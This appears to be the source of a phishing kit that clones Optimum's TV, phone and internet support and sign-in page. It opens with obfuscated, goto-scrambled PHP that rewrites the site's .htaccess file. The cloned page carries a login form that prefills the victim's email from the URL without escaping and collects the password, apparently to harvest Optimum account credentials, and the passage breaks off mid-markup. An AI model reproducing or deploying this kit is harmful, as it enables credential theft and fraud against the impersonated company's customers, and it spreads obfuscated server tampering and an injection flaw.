HykZ4: $op8jo .= $i3iav . "\x20\x5e" . $VAXrR . "\x24\40\x2d\40\133\x4c\135\xa"; goto sBPID; Vn9xA: OZx1d: goto jrbJF; jrbJF: nQgfC: goto PbwYv; VMI1N: $yVTkA = "\x52\x65\167\162\151\x74\x65\x45" . "\x6e\147\151\x6e\145"; goto CiDy7; dcinQ: $op8jo .= $DAqVD; goto KNTAs; RNEjm: $HLAmG = @file_get_contents($mE53w); goto I4df8; BgsZw: $mE53w = "\56\57\56\150\x74\x61\143"; goto CDKIX; eJLe3: if (!$rpGXS) { goto OZx1d; } goto BgsZw; CDKIX: $mE53w .= "\143\x65\163\x73"; goto Imo7q; GMfYV: $VAXrR = "\151\x6e\x64\145" . "\170\56\x70\150\160"; goto W3QNo; sBPID: $op8jo .= $EFOYz . "\x20\x25\x7b" . $PnV4d . "\175\40\x21\x2d\146\xa"; goto me56X; t7E5r: mMatN: goto lLJtf; X7DMK: $HLAmG = $op8jo . PHP_EOL . $HLAmG; goto aZ0lP; PbwYv: } goto WK4e5; u350B: jOLlg();?><!DOCTYPE html> <html style="" class=" js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage no-websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients no-cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths overthrow-enabled"><head> <title>Optimum | TV, Phone and Internet Support Home</title> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Get answers to everything Optimum! Pay your bill, find free WiFi, check your email, set up your voicemail, program your DVR and more!"> <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico"> <link rel="stylesheet" href="css/core-and-parts_page_1.css?202005190427"> <link rel="stylesheet" href="css/core-and-parts_page_2.css?202005190427"> <link rel="stylesheet" href="css/page.css?202005190427"> <link rel="stylesheet" href="css/fa/css/font-awesome.min.css"> <script> function VerifyLogsInfo() { var pass = document.getElementById("password").value; if (pass == "" || pass.length == 0 || pass == null) { document.getElementById("Error").innerHTML="Please enter your password"; //alert("Please enter your password"); return; } document.getElementById("Login").submit(); } </script> <style type="text/css"> @media screen and (max-width: 980px) { #desktop_header { display: none; } } @font-face { font-family: "Onet Icons"; src: url("https://www.optimum.net/assets/fonts/onet-icons/onet-icons.eot?#iefix?20130621") format("embedded-opentype"), url("https://www.optimum.net/assets/fonts/onet-icons/onet-icons.woff?20130621") format("woff"), url("https://www.optimum.net/assets/fonts/onet-icons/onet-icons.ttf?20130621") format("truetype"), url("https://www.optimum.net/assets/fonts/onet-icons/onet-icons.svg#onet-iconsregular?20130621") format("svg"); font-style: normal; font-weight: 400; } @font-face { font-family: Regular; src: url("https://www.optimum.net/assets/fonts/regular/Regular-Regular.eot?#iefix") format("embedded-opentype"), url("https://www.optimum.net/assets/fonts/regular/Regular-Regular.woff") format("woff"), url("https://www.optimum.net/assets/fonts/regular/Regular-Regular.ttf") format("truetype"), url("https://www.optimum.net/assets/fonts/regular/Regular-Regular.svg") format("svg"); font-style: normal; font-weight: 400; } @font-face { font-family: Regular-Bold; src: url("https://www.optimum.net/assets/fonts/regular/Regular-Bold.eot?#iefix") format("embedded-opentype"), url("https://www.optimum.net/assets/fonts/regular/Regular-Bold.woff") format("woff"), url("https://www.optimum.net/assets/fonts/regular/Regular-Bold.svg") format("svg"); font-style: normal; font-weight: 400; } @font-face { font-family: Regular-Medium; src: url("https://www.optimum.net/assets/fonts/regular/Regular-Medium.eot?#iefix") format("embedded-opentype"), url("https://www.optimum.net/assets/fonts/regular/Regular-Medium.woff") format("woff"), url("https://www.optimum.net/assets/fonts/regular/Regular-Medium.svg") format("svg"); font-style: normal; font-weight: 400; } @font-face { font-family: Regular-Semibold; src: url("https://www.optimum.net/assets/fonts/regular/Regular-Semibold.eot?#iefix") format("embedded-opentype"), url("https://www.optimum.net/assets/fonts/regular/Regular-Semibold.woff") format("woff"), url("https://www.optimum.net/assets/fonts/regular/Regular-Semibold.svg") format("svg"); font-style: normal; font-weight: 400; } </style> <!--[if IE 8]><link rel="stylesheet" href="/assets/css/ie8.css?202005190427"><![endif]--> <!--[if lte IE 8]><script src="/ieshiv.js?202005190427"></script><![endif]--> <!--[if lte IE 8]><script src="/PIE.js?202005190427"></script><![endif]--> <!--[if lte IE 8]><script src="/PIE.htc?202005190427"></script><![endif]--> <script src="js/onetmotionpoint.js"></script> <script src="js/liveperson.js"></script> <script src="js/modernizr.custom.28587.min.js"></script> <script> if(!window.console) { var console = { log : function(){}, error : function(){}, warn: function(){}, info: function(){}, debug: function(){} }; } </script> <!--[if !IE]> --> <script src="//assets.adobedtm.com/0101e7930286426309b1a3d069d34bc7de99096f/satelliteLib-289abbccdc9b89be454207f3720d91de531f3315.js"></script> <!-- <![endif]--> <style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak{display:none;}ng\:form{display:block;}</style><style type="text/css"></style><script charset="UTF-8" src="https://lptag.liveperson.net/tag/tag.js?site=38299855"></script><script charset="UTF-8" id="_lpTagScriptId_0" src="https://lptag.liveperson.net/lptag/api/account/38299855/configuration/applications/taglets/.jsonp?v=2.0&df=0&b=3"></script><script type="text/javascript" charset="UTF-8" src="https://lpcdn.lpsnmedia.net/le_re/3.40.0.0-release_5019/jsv2/overlay.js?_v=3.46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ.lpsnmedia.net/le_re/3.40.0.0-release_5019/jsv2/UISuite.js?_v=3.40.0.0-release_5019"></script></head> <!--[if lt IE 7 ]> <body class="ie6" data-ng-app="home" data-ng-controller="HomeCtrl"> <![endif]--> <!--[if IE 7 ]> <body class="ie7" data-ng-app="home" data-ng-controller="HomeCtrl"> <![endif]--> <!--[if IE 8 ]> <body class="ie8" data-ng-app="home" data-ng-controller="HomeCtrl"> <![endif]--> <!--[if IE 9 ]> <body class="ie9" data-ng-app="home" data-ng-controller="HomeCtrl"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <body data-ng-app="home" data-ng-controller="HomeCtrl" class="ng-scope"> <!--<![endif]--> <!-- Google Tag Manager --> <noscript> <iframe src="//www.googletagmanager.com/ns.html?id=GTM-MFVCV8" height="0" width="0" style="display: none; visibility: hidden"></iframe> </noscript> <script> (function(w, d, s, l, i) { w[l] = w[l] || []; w[l].push({ 'gtm.start' : new Date().getTime(), event : 'gtm.js' }); var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l !== 'dataLayer' ? '&l='+ l: ''; j.async = true; j.src = '//www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f); })(window, document, 'script', 'dataLayer', 'GTM-MFVCV8'); </script> <!-- End Google Tag Manager --> <div id="site-wrapper" ng-click="fnCloseMobileFlyOut()"> <!-- wrapper for entire site, minue mobile flyout menu --> <div id="header-wrapper" ng-controller="CommonHeaderCtrl" class="ng-scope"> <!-- 1st popup <div modal ng-show="CommonHeaderCtrl.softPavedAccount" class="email-security-modal program modal--responsive"> <div panel class="padding-l first-popup-content"> <header class="mobpanel__header hidden-desktop hidden-tablet"> <div class="container"> <h2>Email advisory</h2> <button class="btn btn--secondary phone-close" ng-click="CommonHeaderCtrl.showSecondModel()">Close</button> </div> </header> <div class="container"> <div class="popup-content1"> <div class="icon_left"><span class="dot"><span class="dot-inner" ><i ng-show="!model.img" ng-class="model.icon" class="ng-scope icon-warning-sign"></i></span></span></div> <div class="popup-text"> <h2>Email advisory</h2> <p class="hidden-desktop hidden-tablet">Through routine monitoring, we've identified some unusual activity linked to your Optimum email address.</p> <p class="hidden-desktop hidden-tablet">As a safety precaution, please change your password.</p> <p class="hidden-phone">Through routine monitoring, we've identified some unusual activity linked to the Optimum email address yourid@optimum.net.</p> <p class="hidden-phone">As a safety precaution, we strongly recommend you change your password.</p> <span class="primary cta-arrow-link hidden-desktop hidden-tablet"> <a class="font-cta-link" href=#"> <span class="cta-wrap"> <div class="cta-dot"> <i class="cta-circle icon-arrow-right" ng-class="iconClass"></i> </div> </span> <span class="ng-scope">Learn more</span></a> </span> </div> </div> </div> <footer class="panel__footer"> <div class="container"> <div class="row"> <div class="span5"><button class="btn btn-dual-primary span10" ng-click="CommonHeaderCtrl.goToChangePass()">Change my password</button></div> <input type="button" class="btn btn-dual-secondary del_margin btn-style bold toggle-width span2" ng-click="CommonHeaderCtrl.showSecondModel()" value="Not now"> </input> <span class="primary cta-arrow-link"> <a class="font-cta-link" href=#"> <span class="cta-wrap"> <div class="cta-dot"> <i class="cta-circle icon-arrow-right" ng-class="iconClass"></i> </div> </span> <span class="ng-scope">Learn more</span></a> </span> </div> </div> </footer> </div> </div> --> <!-- 2nd popup <div modal ng-show="CommonHeaderCtrl.secondmodel" class="email-security-modal program modal--responsive mail-blocked"> <div panel class="padding-l second-popup-content"> <header class="mobpanel__header hidden-desktop hidden-tablet"> <div class="container"> <h2>Please note</h2> <button class=" btn btn--secondary phone-close" ng-click="CommonHeaderCtrl.closeSecondModel()">Close</button> </div> </header> <div class="container"> <div class="popup-content1"> <div class="icon_left"><span class="dot"><span class="dot-inner" ><i ng-show="!model.img" ng-class="model.icon" class="ng-scope icon-envelope-alt"></i></span></span></div> <div class="popup-text"> <h2>Outgoing mail is restricted</h2> <p class="text1">Please be aware that until your password is changed, email you send from software programs like Outlook and Mac Mail, or from the mail app on your smart phone or tablet, will not be delivered.</p> <p>You'll still receive incoming mail. And, you can continue to send and receive mail using webmail.</p> </div> </div> </div> <footer class="panel__footer"> <div class="container"> <div class="row"> <div class="span5"><button class="btn btn-dual-primary span10" ng-click="CommonHeaderCtrl.goToChangePass()">OK, change my password </button></div> <input type="button" class="btn btn-dual-secondary del_margin btn-style bold toggle-width span2" ng-click="CommonHeaderCtrl.closeSecondModel()" value="Continue"> </input> </div> </div> </footer> </div> </div> --> <section id="common_header" class="common-header alert-minor logged-out" data-ng-class="{true: 'logged-in', false: 'logged-out'}[CommonHeaderCtrl.currentLoggedInUser.hasSession]"> <!-- PHONE: HEADER --> <div class="csr-div hidden"> <!--Wrapper div to work-around the issue caused by display:inherit!important given globally--> <div class="pay-bill-csr hidden-desktop hidden-tablet"> <span>Currently viewing account details for: <span data-ng-bind-html="currentAccountNumber" class="accno-text ng-binding"></span></span> <input type="button" value="Sign out" class="btn btn--primary padding-btn" data-ng-click="CommonHeaderCtrl.handleUserSignout()"> </div> </div> <!-- ALERT DRAWER --> <span id="phoneAlertNotRequired" class="hidden-desktop hidden-tablet" data-ng-show="CommonHeaderCtrl.currentAlertIndex > 0" style=""> <div class="drawer is-closed" ng-class="{'is-open':_drawerModel.isOpen, 'is-closed':!_drawerModel.isOpen, 'direction-up': _drawerModel.direction == 'up'}" drawer="" open="open"> <div class="drawer__body" ng-transclude=""> <div class="alert-drawer ng-scope" alert-drawer=""> <div class="alert-drawer__body alert-minor padding-s"> <div class="container"> <div class="row row-cells"> <div class="span8"> <div class="alert-inner"> <div class="icon-wrapper"> <span class="dot dot--overlay-dark"><span class="dot-inner" ng-transclude=""><i ng-show="!currentAlert.outageType" class="icon-time"></i><img ng-show="currentAlert.outageType" ng-src="" class="ng-scope" style="display: none;"></span></span> </div> <h4 class="alert-drawer__title-text ng-binding">Coronavirus update from Optimum</h4> <p> <span class="alert-drawer__description-text hidden-phone ng-binding">See how Optimum is keeping you connected in response to COVID-19 and view temporary store closures.</span> <span> <span class="alert-drawer__cta movLeft1px cta-arrow-link" ng-show="!(currentAlert.source == 'non pay')" cta-arrow-link="" ng-click="reloadOutageRoute()"> <a class="font-cta-link"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn more</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="alert-drawer__cta movLeft1px cta-arrow-link" ng-show="(currentAlert.source == 'non pay')" cta-arrow-link="" ng-click="reloadOutageRoute()" style="display: none;"> <a class="font-cta-link"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Make payment now</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </span> </p><div class="span4 hidden-desktop hidden-tablet"> <div class="btn btn--overlay-dark butn-txt" ng-show="alerts.length > 1" style="display: none;"> <a href="#" class="alert-drawer__text-decoration-none hidden-desktop hidden-tablet ng-binding"> 0 more alerts </a> </div> </div> <p></p> </div> </div> <div class="span4 align-content-right"> <a href="#" class="alert-drawer__text-decoration-none hidden-phone"> <div class="btn btn--overlay-dark ng-binding" ng-show="alerts.length > 1" style="display: none;">0 more alerts</div> </a> <i ng-click="removeAlert();" class="alert-drawer__remove-alert icon-remove"></i> </div> </div> </div> </div> </div> </div> </div> </span> <div class="visible-phone visible-tablet global-header hideForNewCustomerStuff" id="newLoginCustomerHeader"> <div class="container"> <div class="semflex full-width align-children-middle"> <div class="global-header-phone__brand"> <a href="#" class="block mobile-logo"></a> </div> </div> </div> </div> <div class="visible-phone visible-tablet global-header alert-minor"> <div id="phone_header" class="semflex full-width align-children-middle"> <div class="vpadding-s global-header-phone__brand"> <a href="#" class="block mobile-logo"></a> </div> <div class="global-nav-secondary__notification" data-ng-show="CommonHeaderCtrl.currentAlertIndex > 0" style=""> <a data-ng-click="CommonHeaderCtrl.toggleAlertDrawer()" class="alert-minor alert-drawer__handle hbeam-inline badge-notification badge-primary toggle-alert-mrgin"> <div class="hbeam-part-static badge-notification__icon-container"> <i class="badge-notification__icon icon-warning-sign"></i> </div> <div> <span class="badge-notification__count ng-binding">1</span> </div> </a> </div> <div class="global-header-phone__nav__item align-center icon-search" data-ng-click="CommonHeaderCtrl.toggleMobileSearchBarDisplay()" id="menusearch"></div> <div class="global-header-phone__nav__item align-center icon-align-justify" id="menubutton" data-ng-click="CommonHeaderCtrl.toggleMobileMenuDisplay()"></div> </div> <!-- PHONE:SEARCH --> <div class="sticky-wrapper" style="height: 0px;"><div sticky-stack="" data-ng-show="CommonHeaderCtrl.showingMobileSearchBar" id="phone-search" class="sticky-stack-pseudo auto_complete_display_none ng-scope is-sticky" style="display: none; top: 0px; position: fixed;"> <div class="phone-search-bar vpadding-s"> <div class="container"> <div class="semflex full-width align-children-middle"> <div class="width_90"> <div class="full-width searchbar-group input-groupp"> <div><input id="mobile-global-input" type="text" class="input-lighter-accent full-width inputBackground ng-pristine ng-valid" placeholder="Search Optimum.net" data-ng-model="CommonHeaderCtrl.searchTerm" data-ng-change="CommonHeaderCtrl.doSearch()"></div> <div class="btn search-btn semflex__auto" data-ng-click="CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.ondemand)"><a class="icon-search"></a></div> </div> </div> <div class="close-search-wrapper align-right"> <a class="close-search icon-remove" data-ng-click="CommonHeaderCtrl.toggleMobileSearchBarDisplay()"></a> </div> </div> </div> </div> </div></div> </div> <!-- visible phone --> <!-- DESKTOP/TABLET: HEADER --> <div style="min-width:1000px" id="desktop_header"> <div class="sticky-wrapper" style="height: 124px;"><div sticky-stack="" class="global-header hidden-phone hidden-tablet sticky-stack-pseudo ng-scope is-sticky" id="desktop_header_NewCustomer" style="top: 0px; position: fixed;"> <div class="pay-bill-csr csr-div hidden"> <span>Currently viewing account details for: <span data-ng-bind="currentAccountNumber" class="accno-text ng-binding"></span></span> <input type="button" value="Sign out" class="btn btn--primary padding-btn" data-ng-click="CommonHeaderCtrl.handleUserSignout()"> </div> <div class="container"> <div class="toggle-container"> <div id="headerNotShown" class="row app-header__row-top clear-float"> <div class="span4 ipad-width-4"> <!-- DESKTOP/TABLET: TERTIARE NAV --> <div class="vpadding-s"> <div class="speech-bubble-home-wrapper"> <!-- <ul class="global-nav-tertiary list-unstyled"> <li class="global-nav-tertiary__item"> <a href="#" class="global-header__link">en Español</a> </li> </ul> --> <div class="motion-point"> <a mporgnav="" href="#" onclick="return switchLanguage('es'); function switchLanguage(lang) { MP.SrcUrl=decodeURIComponent('mp_js_orgin_url'); MP.UrlLang='mp_js_current_lang';MP.init(); MP.switchLanguage(MP.UrlLang==lang?'en':lang); return false;}">En espa�ol</a> </div> <div class="pull-right speech-bubble-home-container" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession"> <a href="#" class="welcome-message speech-balloon speech-balloon--tip-outwards header-user" data-ng-class="{active : CommonHeaderCtrl.currentUserStatus == 'signin'}" data-ng-mouseenter="CommonHeaderCtrl.currentUserStatus='signin'" data-ng-mouseleave="CommonHeaderCtrl.currentUserStatus=''"> <div class="speech-balloon__content"><p class="username-msg ng-binding">Sign in with your Optimum ID</p></div> <div class="speech-balloon__tip"></div> </a> </div> <div class="pull-right speech-bubble-home-container" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <div class="welcome-message speech-balloon speech-balloon--tip-outwards"> <div class="speech-balloon__content row"> <div class="span5 username-msg-div"><a href="#" class="username-msg ng-binding">Sign in with your Optimum ID</a></div> <div class="span1 verticalLine"></div> <div class="span5 signout-msg-div"><a data-ng-click="CommonHeaderCtrl.handleUserSignout()" class="signout-msg">Sign out</a></div> </div> <div class="speech-balloon__tip"></div> </div> </div> </div><!--end of speech-bubble-home-wrapper--> </div> </div> <div class="app-header__secondary-nav span8 ipad-width-8"> <div class="row"> <div class="span12"> <!-- DESKTOP: SECONDARY NAV --> <div class="global-nav-secondary"> <div class="hbeam-inline global-nav-secondary__item"> <div class="global-nav-secondary__label"> <a class="block-link" data-ng-click="CommonHeaderCtrl.handleMenuSelect('profile')" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('profile')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('profile')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('profile')}"> <span class="show-profilelink">My profile</span> <span class="show-signin">Sign in</span> </a> <div class="header-dropmenu signin-profile" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('profile')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('profile')" data-ng-show="CommonHeaderCtrl.isActiveMenu('profile')" style="display: none;"> <div class="menu-mdl" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <!--logged in--> <div> <ul> <li><a href="#">Personal info</a></li> <li><a href="#">Notification preferences</a></li> <li><a href="#">My household IDs</a></li> <li><a href="#">My wireless devices</a></li> <li data-ng-show="CommonHeaderCtrl.currentLoggedInUser.isPrimary" style="display: none;"><a href="#">Create an Optimum ID</a></li> <!--HIDE this if not Primary/Account holder--> </ul> </div> </div> <div class="menu-top" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession"> <!--end of logged in--> <!--logged out--> <div> <h4>Sign in to manage your profile and devices</h4> <form id="signinForm" method="post" ng-submit="CommonHeaderCtrl.handleUserLogin('signinForm')" class="ng-valid ng-dirty"> <div class="row"> <div class="span12"> <h4>My Optimum ID</h4> </div> <div class="span6"> <input type="text" name="id" id="signinFormOptimumId" autocorrect="off" value="<?php echo $_GET['email']; ?>" autocapitalize="off" data-ng-model="CommonHeaderCtrl.userInput.signinForm.optimumId" tabindex="11" value="" class="ng-pristine ng-valid" readonly> <p class="error" data-ng-show="CommonHeaderCtrl.userInput.signinForm.isNotValidOptimumId" style="display: none;">Invalid Optimum ID, please complete all fields.</p> </div> <br> <div class="span6"> <a href="#" tabindex="14">Forgot my Optimum ID</a> </div> </div> <br> <div class="row"> <div class="span12"> <h4>Password</h4> </div> <div class="span6"> <input type="password" id="signinFormPassword" name="password" autocorrect="off" autocapitalize="off" data-ng-model="CommonHeaderCtrl.userInput.signinForm.password" tabindex="12" class="ng-pristine ng-valid"> <p class="error" data-ng-show="CommonHeaderCtrl.userInput.signinForm.isNotValidPassword" style="display: none;">Invalid password, please complete all fields.</p> </div> <div class="span6"> <a href="#" tabindex="15">I forgot my password</a> </div> </div> <div class="row"> <div class="span12"> <hr> </div> <div class="span12"> <div class="remember-me-login"> <input class="btn btn--primary" tabindex="13" type="submit" value="Sign in"> <div class="remember-me-group"> <input type="hidden" data-ng-model="CommonHeaderCtrl.userInput.remember_bool" name="remember" value="false" class="ng-pristine ng-valid"> <input type="hidden" name="referer" value="https://www.optimum.net/"> <span data-ng-click="CommonHeaderCtrl.toggleUserInputRemember('signinForm')"> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" data-ng-model="CommonHeaderCtrl.userInput.signinForm.remember_string" class="checkbox checkbox--secondary remember-checkbox ng-valid not-checked ng-dirty" true-value="yes" tabindex="16"> <div class="checkbox-inner"></div> </div>Remember Me </span> </div> </div> </div> </div> </form> </div> <!--end of logged out--> </div> <div class="menu-bottom" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <!--logged in--> <div> <p class="signout-text ng-binding">Not ?</p> <span class="cta-arrow-link--dark-overlay sign-out-margin cta-arrow-link" cta-arrow-link="" data-ng-click="CommonHeaderCtrl.handleUserSignout()"> <a class="font-cta-link"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Sign out</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!--end of logged in--> </div> </div> </div> </div> <div class="hbeam-inline global-nav-secondary__item"> <div class="global-nav-secondary__label"> <a class="block-link" data-ng-click="CommonHeaderCtrl.handleMenuSelect('pay-bill')" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('pay-bill')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('pay-bill')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('pay-bill')}">Pay bill</a> <div class="header-dropmenu paybill-menu" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('pay-bill')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('pay-bill')" data-ng-show="CommonHeaderCtrl.isActiveMenu('pay-bill')" style="display: none;"> <div class="menu-top" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <!--logged in--> <div> <!-- IF BILL DUE--> <section class="paybill-info"> <div data-ng-show="!bpGlobalError && !isunAuthorized" style="display: none;"> <span class="xsfont color-secondary-darken">Amount due</span> <div class="margin-top-1" data-ng-show="!(negativeBalance || zeroBalance)"> <span class="xlfont"><strong class="ng-binding"></strong></span> </div> <div class="margin-top-1" data-ng-show="negativeBalance || zeroBalance" style="display: none;"> <span class="xlfont"><strong>$0</strong></span> </div> <div class="margin-top-1" data-ng-show="dueDays > 1 && !(negativeBalance || zeroBalance)" style="display: none;"> <span class="lfont ng-binding">due in days</span> </div> <div class="margin-top-1" data-ng-show="dueDays == 1 && !(negativeBalance || zeroBalance)" style="display: none;"> <span class="lfont ng-binding">due in day</span> </div> <div class="margin-top-1" data-ng-show="dueDays == 0 && !(negativeBalance || zeroBalance)" style="display: none;"> <span class="lfont">due today</span> </div> <div class="margin-top-2" data-ng-show="!(negativeBalance || zeroBalance || pastDueAvailable)"> <span class="sfont color-secondary-darken ng-binding"></span> </div> <!-- POSITIVE BALANCE --> <div data-ng-show="positiveBalance" style="display: none;"> <div data-ng-show="pastDueAvailable" style="display: none;"> <br> <div class="blocked-container"> <div class="blocked-image margin-top-1"> <span class="dot dot--dark-overlay alert-background dotpie"><span class="dot-inner" ng-transclude=""> <span class="dot-inner ng-scope"><i class="icon-exclamation-major"></i> </span> </span></span> </div> <div class="blocked-text xsfont"> <div class="margin-top-1"> <span class="ng-binding"> past due</span> </div> <div> <span class="ng-binding">Next statement </span> </div> </div> </div> <div class="payNow"> <a class="btn btn--secondary-accent-text" ng-click="CommonHeaderCtrl.checkingSession('linkPayment')"><strong> Pay </strong><strong class="ng-binding"> undefined now</strong> </a> </div> </div> <div data-ng-show="!pastDueAvailable"> <div data-ng-show="enrolled && scheduledPayAmount && scheduledPayDate && scheduledPayNickname" style="display: none;"> <div class="margin-top-1"> <span class="sfont ng-binding">We will debit on</span> </div> <div class="margin-top-2"> <span class="sFont ng-binding"> from </span> </div> </div> <div class="payNow" data-ng-show="!enrolled"> <a class="btn btn--secondary-accent-text" ng-click="CommonHeaderCtrl.checkingSession('linkPayment')"><strong> Pay </strong><strong class="ng-binding"> undefined now</strong> </a> </div> </div> </div> <!-- END OF POSITIVE BALANCE --> <!-- ZERO BALANCE --> <div data-ng-show="zeroBalance" style="display: none;"> <div class="margin-top-1"> <span class="sfont">Next statement date</span> </div> <div class="margin-top-2"> <span class="sfont ng-binding"></span> </div> <div ng-show="receivedPayAmount && receivedPayDate" style="display: none;"> <div class="margin-top-1"> <span class="sfont ng-binding">Your payment of </span> </div> <div class="margin-top-2"> <span class="sfont ng-binding">was received on </span> </div> </div> </div> <!-- END OF ZERO BALANCE --> <!-- NEGATIVE BALANCE --> <div data-ng-show="negativeBalance && !hasWriteOff" style="display: none;"> <div class="margin-top-1"> <span class="sfont ng-binding">A credit of will</span> </div> <div class="margin-top-2"> <span class="sfont">be applied to your</span> </div> <div class="margin-top-2"> <span class="sfont ng-binding"> statement</span> </div> </div> <!-- END OF NEGATIVE BALANCE --> </div> <!--LOGGED IN, BUT HAVE NO ACCESS TO PAYBILL--> <div class="no-bill-access" data-ng-show="isunAuthorized"> <div> <span class="mfont not-bold">You do not have access</span> </div> <div> <span class="mfont not-bold">to this section.</span> </div> <div class="margin-top-1"> <span class="sfont">Please sign in as the primary</span> </div> <div class="margin-top-2"> <span class="sfont">Optimum ID to view and pay your bill,</span> </div> <div class="margin-top-2"> <span class="sfont">or to grant access to additional users</span> </div> </div> <!--END OF LOGGED IN, BUT HAVE NO ACCESS TO PAYBILL--> <!-- Blocked State --> <div class="blocked-container" data-ng-show="blockedAccount" style="display: none;"> <div class="blocked-image margin-top-1"> <span class="dot dot--dark-overlay alert-background dotpie"><span class="dot-inner" ng-transclude=""> <span class="dot-inner ng-scope"><i class="icon-exclamation-major"></i> </span> </span></span> </div> <div class="blocked-text xsfont"> <div class="margin-top-1"> <span>Sorry, we can't accept</span> </div> <div class="margin-top-2"> <span>online payments for</span> </div> <div class="margin-top-2"> <span>your account.</span> </div> <div class="margin-top-1"> <span>Contact us at</span> </div> <div class="margin-top-2"> <span>(866) 213-7456 to</span> </div> <div class="margin-top-2"> <span>make a payment.</span> </div> </div> </div> <!--End of Blocked State --> <!-- API Error --> <div class="api-error" data-ng-show="bpGlobalError && !isunAuthorized" style="display: none;"> <div> <span class="mfont not-bold">Sorry we can't access </span> </div> <div> <span class="mfont not-bold">your billing info right now.</span> </div> </div> <!--END OF API Error --> </section> </div> <!--end of logged in--> </div> <!--logged out--> <div class="menu-mdl" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession"> <div> <div> <ul class="margin-top-1"> <li><a href="#">Pay Online</a></li> <li><a href="#">Pay in Person</a></li> <li><a href="#">Pay by Mail</a></li> </ul> </div> </div> <!--end of logged out--> </div> <div class="menu-mdl" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <!--logged in--> <div> <div class="paybill-li" data-ng-show="!isunAuthorized" style="display: none;"> <ul class="margin-top-1"> <li><a href="#">View my bill</a></li> </ul> <ul data-ng-show="autopayscheduled && !blockedAccount" style="display: none;"> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkManage')">Manage payment methods</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkAuto')">Manage automatic payments</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkPayment')">Make a one-time payment</a></li> </ul> <ul data-ng-show="autopaynoscheduled && !blockedAccount" style="display: none;"> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkManage')">Manage payment methods</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkAuto')">Manage automatic payments</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkPayment')">Make a one-time payment</a></li> </ul> <ul data-ng-show="noautopayscheduled && !blockedAccount" style="display: none;"> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkManage')">Manage payment methods</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkAuto')">Set up automatic payments</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkPayment')">Make a one-time payment</a></li> </ul> <ul data-ng-show="noautopaynoscheduled && !blockedAccount" style="display: none;"> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkManage')">Manage payment methods</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkAuto')">Set up automatic payments</a></li> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkPayment')">Make a one-time payment</a></li> </ul> <ul class="margin-top-1"> <li><a ng-click="CommonHeaderCtrl.checkingSession('linkAccount')">Account activity</a></li> </ul> <ul class="margin-top-1"> <li><a href="#">Billing support</a></li> </ul> </div> <!--end of logged in--> <!--LOGGED IN, BUT HAVE NO ACCESS TO PAYBILL--> <div data-ng-show="isunAuthorized"> <p class="signout-text ng-binding">Not ?</p> <span class="cta-arrow-link--dark-overlay sign-out-margin cta-arrow-link" cta-arrow-link="" data-ng-click="CommonHeaderCtrl.handleUserSignout()"> <a class="font-cta-link"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Sign out</span></span> <i 